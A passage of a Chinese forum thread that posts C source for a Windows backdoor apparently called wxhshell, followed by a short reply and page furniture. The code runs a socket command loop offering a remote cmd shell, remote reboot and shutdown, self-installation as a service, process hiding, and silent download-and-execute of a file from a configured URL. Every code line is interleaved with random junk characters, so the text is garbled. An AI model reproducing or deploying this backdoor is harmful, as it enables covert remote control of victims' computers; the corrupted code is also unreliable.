  else { FC#t}4as  
+ ;_0:+//  
    switch(cmd[0]) { $\q}A:  
  U)C>^ !Us  
  // 帮助 DMiB \o  
  case '?': { `Tc"a_p9t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gzEcdDD  
    break; "Zu>cbE  
  } e|eWV{Dsz  
  // 安装 T~)R,OA7m  
  case 'i': { j W/*-:  
    if(Install()) FZx.Yuv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wG X\ub#!  
    else '4,>#D8@O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Esdw^MGL2  
    break; E{]PfUfFY  
    } ]:.9:RmEV  
  // 卸载 \T {<{<n  
  case 'r': { Y InPmR  
    if(Uninstall()) a\tv,Lx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L16">,5  
    else >j)y7DSE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nTCwLnX(O  
    break; Xk}\-&C7  
    } Uf#9y182*c  
  // 显示 wxhshell 所在路径 rT';7>{g  
  case 'p': { VvTi>2(.  
    char svExeFile[MAX_PATH]; cBQ+`DXn5c  
    strcpy(svExeFile,"\n\r"); 3 uJ?;  
      strcat(svExeFile,ExeFile); 0N):8`dY  
        send(wsh,svExeFile,strlen(svExeFile),0); fr<V])  
    break; );d"gv(]D  
    } 5G l:jRu  
  // 重启 ]K|td)1X  
  case 'b': { p{[(4}ql  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {9- n3j}  
    if(Boot(REBOOT))  mT,#"k8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GuKiNYI_  
    else { 9}z%+t8u  
    closesocket(wsh); jbp?6GW  
    ExitThread(0); 75eZhs[b  
    } o8fY!C)  
    break; G$VE o8Blb  
    } *+_+Z DU  
  // 关机 ]|_+lik#  
  case 'd': { 7' Gk ip  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |>KOlwh5n  
    if(Boot(SHUTDOWN)) id [caP=`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~8U0(n:^  
    else { iJS7g  
    closesocket(wsh); $8`"  
    ExitThread(0); CTJwZY7  
    } Fb6d1I^wR  
    break; X<&Y5\%F  
    } d fSj= 4  
  // 获取shell H7}f[4S%  
  case 's': { (e4 #9  
    CmdShell(wsh); X=V2^zrt  
    closesocket(wsh); p{AX"|QM"  
    ExitThread(0); :Z+J t=;  
    break; >1$Vh=\OI  
  } PQP|V>g  
  // 退出 DA>TT~L  
  case 'x': { CI=M0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c^stfFE&  
    CloseIt(wsh); K9ek  
    break; lYS*{i1^ '  
    } i5SDy(?r  
  // 离开 8khIy-9-'  
  case 'q': { 6[-[6%o#z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k|^`0~E  
    closesocket(wsh); 4+MaV<!tU^  
    WSACleanup(); "(Nt9K%P)  
    exit(1); i5gNk)D  
    break; 5YYBX\MV  
        } sfk;c#K  
  } `eeA,K_  
  } tac\Ki?  
D# gC-,  
  // 提示信息 V3ExS1fNf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gBOF#"-  
} /@&#U bN\  
  } }s[`T   
lIPz "  
  return; L%+mD$@u  
} f{2I2kJr  
XSGBC:U)l  
// shell模块句柄 i8S=uJ]n  
int CmdShell(SOCKET sock) dWdD^>8Ef  
{ qg:EN~E#  
STARTUPINFO si; eJeL{`NS  
ZeroMemory(&si,sizeof(si)); x"r,l/gzy  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BN~ndWRK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J|vg<[  
PROCESS_INFORMATION ProcessInfo; GWv i  
char cmdline[]="cmd"; F x^X(!)~]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iB`EJftI!  
  return 0; v0?SN>fZ  
} BWNI|pq)v  
 0T^ 0)c  
// 自身启动模式 )j\_*SoH  
int StartFromService(void) E^$8nqCL:  
{ =T\=,B  
typedef struct 3_`)QYU'  
{ M93*"jA  
  DWORD ExitStatus; v\_\bT1  
  DWORD PebBaseAddress; ]k'^yc{5  
  DWORD AffinityMask; tzv4uD]  
  DWORD BasePriority; r=~K#:66  
  ULONG UniqueProcessId; ]"~ x  
  ULONG InheritedFromUniqueProcessId; i,S1|R  
}   PROCESS_BASIC_INFORMATION; sN2m?`?"G  
K:GEC-  
PROCNTQSIP NtQueryInformationProcess; o\]U;#YD  
b`@C#qB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;<_a ,5\Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -/V(Z+dj  
[cco/=c  
  HANDLE             hProcess; /sj*@HF=  
  PROCESS_BASIC_INFORMATION pbi; ,II3b( l  
P|Gwt&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JgA{1@h  
  if(NULL == hInst ) return 0; 'nBP%  
)RT?/NW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nO!&;E&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &pjj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0zkMRBe  
EmR82^_:  
  if (!NtQueryInformationProcess) return 0; 5bAdF'~  
=QGmJ3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #o7)eKeQ  
  if(!hProcess) return 0; ! |UX4  
FO%pdLs,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;{L[1OP%e  
ft1#f@b.  
  CloseHandle(hProcess); )G Alj;9A$  
oBo*<6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RL/y7M1j  
if(hProcess==NULL) return 0; Y0T:%  
MP)Prl>  
HMODULE hMod; {sGEopd8]q  
char procName[255]; F8"J<VJ7  
unsigned long cbNeeded; Yj/ o17  
NsP=l]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <kPNe>-f  
ZTV)D  
  CloseHandle(hProcess); t!*[nfR  
1n[)({OQ  
if(strstr(procName,"services")) return 1; // 以服务启动 8.n#@%  
T3@2e0u )  
  return 0; // 注册表启动 >Zs!  
} 8=TC 3]  
`Wg"m~l$N  
// 主模块 hxH6Ii]\  
int StartWxhshell(LPSTR lpCmdLine) 6QCV i  
{ A,~KrRd  
  SOCKET wsl; n:OXv}pv  
BOOL val=TRUE; GdI,&| /  
  int port=0; )9_W"'V  
  struct sockaddr_in door; t;6<k7h  
xb3G,F  
  if(wscfg.ws_autoins) Install(); nPdkvs   
^tGAJ_b 79  
port=atoi(lpCmdLine); o>C,Db~L/  
2HmK['(  
if(port<=0) port=wscfg.ws_port; ch]Qz[d  
T`":Q1n  
  WSADATA data; <O0tg[ub  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T` h%=u|D  
&)tiO>B^6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G=|?aK{p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1F,U^O  
  door.sin_family = AF_INET; oo\^}jb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %%}l[W  
  door.sin_port = htons(port); #p>&|I  
Lv['/!DJ|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { * @]wT'  
closesocket(wsl); gfj_]  
return 1; `e<IO_cg  
} v#&;z_I+  
]jxyaE&%4  
  if(listen(wsl,2) == INVALID_SOCKET) {  ~d eS*  
closesocket(wsl); x5uz$g  
return 1; xOKJOl  
} "h_f- vP  
  Wxhshell(wsl); 7;q0'_G  
  WSACleanup(); >^Wpc  
\ YF@r7  
return 0; $I*}AUp v?  
#1E4 R}B  
} l+F29_o#  
-d'F KOD  
// 以NT服务方式启动 3]?='Qq.(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J{dO0!7y  
{ k1xx>=md|C  
DWORD   status = 0; en'[_43  
  DWORD   specificError = 0xfffffff; fVgK6?<8^  
Db|JR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [k\VUg:P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i*N2@Z[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yg'CL/P  
  serviceStatus.dwWin32ExitCode     = 0; #oTVfY#  
  serviceStatus.dwServiceSpecificExitCode = 0; *uRDB9#9,  
  serviceStatus.dwCheckPoint       = 0; I\6C0x  
  serviceStatus.dwWaitHint       = 0; plB8iN`x<  
\A\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0Sd>*nC  
  if (hServiceStatusHandle==0) return; rhPv{6Z|7  
.jqil0#)Y"  
status = GetLastError(); mv:@D  
  if (status!=NO_ERROR) \Qah*1  
{ yOlVS@7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9?ll(5E  
    serviceStatus.dwCheckPoint       = 0; A}9^,C$#  
    serviceStatus.dwWaitHint       = 0; u3 LoP_|  
    serviceStatus.dwWin32ExitCode     = status; <Nrtkf4-O  
    serviceStatus.dwServiceSpecificExitCode = specificError; s-Gd{=%/q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o'$-  
    return; GPh;r7xg6  
  } +sn0bi/rG  
`$1A;wg<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2 oL$I(83  
  serviceStatus.dwCheckPoint       = 0; N~v<8vJq`  
  serviceStatus.dwWaitHint       = 0; RjUrpS[I  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^^ix4[1$Z  
} bz nMD  
%u9 Q`  
// 处理NT服务事件,比如:启动、停止 sSKD"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zwQ#Yvd  
{ #s\yO~F-  
switch(fdwControl) ]Gm4gd`  
{ !sI^Lh,Y  
case SERVICE_CONTROL_STOP: mvpcRe <  
  serviceStatus.dwWin32ExitCode = 0; `*Wg&u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Es}`S Ie/  
  serviceStatus.dwCheckPoint   = 0; b (H J|  
  serviceStatus.dwWaitHint     = 0; 7R5ebMW V  
  { 5.\|*+E~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s^PsA9EAn  
  } nvQX)Xf  
  return; KIY`3Fl09  
case SERVICE_CONTROL_PAUSE: L^C B#5uG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; - 8"K|ev  
  break; X<Xiva85  
case SERVICE_CONTROL_CONTINUE: -0`n(`2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (O!CH N!:  
  break; `N}V i6FG  
case SERVICE_CONTROL_INTERROGATE: #$U/*~m $  
  break; #d<"Ub  
}; |DsT $ ~D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /ioBc}]  
} A[fTpS~~%  
ntPX?/  
// 标准应用程序主函数 c*<BU6y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h c]p^/H  
{ u!+;Iy7  
-+2A@kmEJ  
// 获取操作系统版本 +S#Xm4  
OsIsNt=GetOsVer(); x<w-j[{k_K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l*CCnqE  
%)d7iT~M  
  // 从命令行安装 ON>l%Ae4G  
  if(strpbrk(lpCmdLine,"iI")) Install(); hH05p!2  
5mL4Zq"  
  // 下载执行文件 iN0'/)ar  
if(wscfg.ws_downexe) { E}0g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [ gR,nJH.  
  WinExec(wscfg.ws_filenam,SW_HIDE); LV$Ko_9eA  
} yP` K [/  
ei}(jlQp  
if(!OsIsNt) { Ms3GvPsgv  
// 如果时win9x,隐藏进程并且设置为注册表启动 /c!^(5K fT  
HideProc(); F]N?_ bo  
StartWxhshell(lpCmdLine); |{,c2 Ck:N  
} o7PS1qcya<  
else \j.l1O  
  if(StartFromService()) H|`D3z.c  
  // 以服务方式启动 TB<$9FCHK  
  StartServiceCtrlDispatcher(DispatchTable); n8\88d  
else K2v[_a~@  
  // 普通方式启动 ?-0, x|ul  
  StartWxhshell(lpCmdLine); E 8$S0u;`  
y5^OD63s  
return 0; &b%2Jx[+  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五